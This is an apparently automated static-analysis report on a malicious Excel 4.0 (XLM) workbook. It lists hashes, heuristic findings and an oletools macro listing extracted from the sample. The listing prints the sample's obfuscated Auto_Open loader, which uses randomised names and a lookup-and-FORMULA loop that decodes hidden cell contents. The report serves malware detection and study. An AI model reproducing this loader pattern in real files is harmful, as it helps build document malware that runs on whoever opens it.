Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05adff4923426a6e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:07 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 6be88ee3fc5365868567d1228e5164ad SHA-1: a981370894385b35470a12bf49f287ae50e61a6f SHA-256: 05adff4923426a6ecc1e004a9eee7b5ee2e7f0e435ca42906b478cc2e6eba19e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6448 bytes
SHA-256: 1dbdf7e82b697e9f64d4cd6ad8d198be72a84748c5b0127ab97409c12b31d1e8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yFza
' 0018     26 LABEL : Cell Value, String Constant - abWNCRleulp len=0 
' 0018     27 LABEL : Cell Value, String Constant - ajYjEFNGjYod len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D192 
' 0018     22 LABEL : Cell Value, String Constant - bhAGSAA len=0 
' 0018     25 LABEL : Cell Value, String Constant - ffipbATOKe len=0 
' 0018     23 LABEL : Cell Value, String Constant - irMassEy len=0 
' 0018     27 LABEL : Cell Value, String Constant - KGmZLoVKOfAz len=0 
' 0018     22 LABEL : Cell Value, String Constant - kNweoeH len=0 
' 0018     22 LABEL : Cell Value, String Constant - lzFmwzn len=0 
' 0018     20 LABEL : Cell Value, String Constant - mGRza len=0 
' 0018     25 LABEL : Cell Value, String Constant - QUtzruCfIj len=0 
' 0018     25 LABEL : Cell Value, String Constant - qzttpNsAqG len=0 
' 0018     22 LABEL : Cell Value, String Constant - rEFBzIv len=0 
' 0018     21 LABEL : Cell Value, String Constant - ssCLdc len=0 
' 0018     25 LABEL : Cell Value, String Constant - texxJiuwlH len=0 
' 0018     26 LABEL : Cell Value, String Constant - udFtsZuqfwc len=0 
' 0018     25 LABEL : Cell Value, String Constant - UPmopYYKzx len=0 
' 0018     20 LABEL : Cell Value, String Constant - WkXaT len=0 
' 0018     27 LABEL : Cell Value, String Constant - wwCVEbjBMKvD len=0 
' 0018     24 LABEL : Cell Value, String Constant - WwnyXWSqX len=0 
' 0018     27 LABEL : Cell Value, String Constant - xRJeXujYusah len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yFza,D100,"SET.NAME("WwnyXWSqX",VALUE("0"))",""
'  yFza,D104,"SET.NAME("QUtzruCfIj",WwnyXWSqX)",""
'  yFza,D109,"SET.NAME("abWNCRleulp",WwnyXWSqX)",""
'  yFza,D113,"SET.NAME("irMassEy",COUNTA(UPmopYYKzx))",""
'  yFza,D118,"SET.NAME("texxJiuwlH",COUNTA(ffipbATOKe))",""
'  yFza,D121,[],""
'  yFza,D125,"SET.NAME("kNweoeH","")",""
'  yFza,D128,"QUtzruCfIj",""
'  yFza,D133,"SET.NAME("ajYjEFNGjYod",HLOOKUP("*",UPmopYYKzx,QUtzruCfIj,FALSE))",""
'  yFza,D138,"KGmZLoVKOfAz",""
'  yFza,D143,"SET.NAME("lzFmwzn",WwnyXWSqX)",""
'  yFza,D146,[],""
'  yFza,D150,"lzFmwzn",""
'  yFza,D152,"bhAGSAA",""
'  yFza,D154,"mGRza",""
'  yFza,D158,"WkXaT",""
'  yFza,D160,"SET.NAME("rEFBzIv",VALUE(HLOOKUP("*",ffipbATOKe,WkXaT,FALSE)))",""
'  yFza,D164,"qzttpNsAqG",""
'  yFza,D168,"kNweoeH",""
'  yFza,D171,"abWNCRleulp",""
'  yFza,D173,NEXT(),""
'  yFza,D178,"ssCLdc",""
'  yFza,D180,"SET.NAME("f",INT(T(FORMULA(T(kNweoeH)&"",""&T(ssCLdc)))))",""
'  yFza,D182,"wwCVEbjBMKvD",""
'  yFza,D185,NEXT(),""
'  yFza,D189,RETURN(),""
'  yFza,D212,"SET.NAME("xRJeXujYusah",D100)",""
'  yFza,D215,"UPmopYYKzx",""
'  yFza,D220,"SET.NAME("ffipbATOKe",R51C12)",""
'  yFza,D224,"SET.NAME("wwCVEbjBMKvD",232)",""
'  yFza,D229,"SET.NAME("udFtsZuqfwc",4)",""
'  yFza,D231,xRJeXujYusah(),""
'  yFza,D232,HALT(),""

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